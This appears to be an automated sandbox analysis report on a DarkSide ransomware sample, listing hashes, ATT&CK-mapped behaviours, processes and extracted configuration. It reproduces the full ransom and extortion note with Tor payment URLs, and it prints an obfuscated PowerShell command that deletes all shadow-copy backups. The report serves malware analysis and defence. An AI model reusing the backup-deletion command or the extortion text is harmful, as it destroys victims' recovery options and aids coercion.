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250331-fzmvkawnz8Analysis
- max time kernel
494s - max time network
505s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20250314-en - resource tags
- submitted
31/03/2025, 00:22
General
- Target RansomwareSamples/DarkSide_18_11_2020_17KB.exe
- Size 17KB
- Sample250331-apdw1ssjs8
- SHA256 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297
Malware Config
Extracted
-
C:\Recovery\README.f063298e.TXT
-
darkside
- ----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
-
http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC
-
http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68
Signatures
- DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
- Darkside family
- Renames multiple (188) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- UPX packed file 3 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 25 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_18_11_2020_17KB.exe"C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_18_11_2020_17KB.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
README.f063298e.TXT
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_5y5dba21.zwu.ps1
memory/1224-262-0x0000000000130000-0x0000000000140000-memory.dmp
memory/1224-0-0x0000000000130000-0x0000000000140000-memory.dmp
memory/1224-254-0x0000000000130000-0x0000000000140000-memory.dmp
memory/4312-8-0x0000017825710000-0x0000017825732000-memory.dmp
memory/4312-17-0x00007FFA4DAE0000-0x00007FFA4E5A2000-memory.dmp
memory/4312-14-0x00007FFA4DAE0000-0x00007FFA4E5A2000-memory.dmp
memory/4312-13-0x00007FFA4DAE0000-0x00007FFA4E5A2000-memory.dmp
memory/4312-12-0x00007FFA4DAE0000-0x00007FFA4E5A2000-memory.dmp
memory/4312-1-0x00007FFA4DAE3000-0x00007FFA4DAE5000-memory.dmp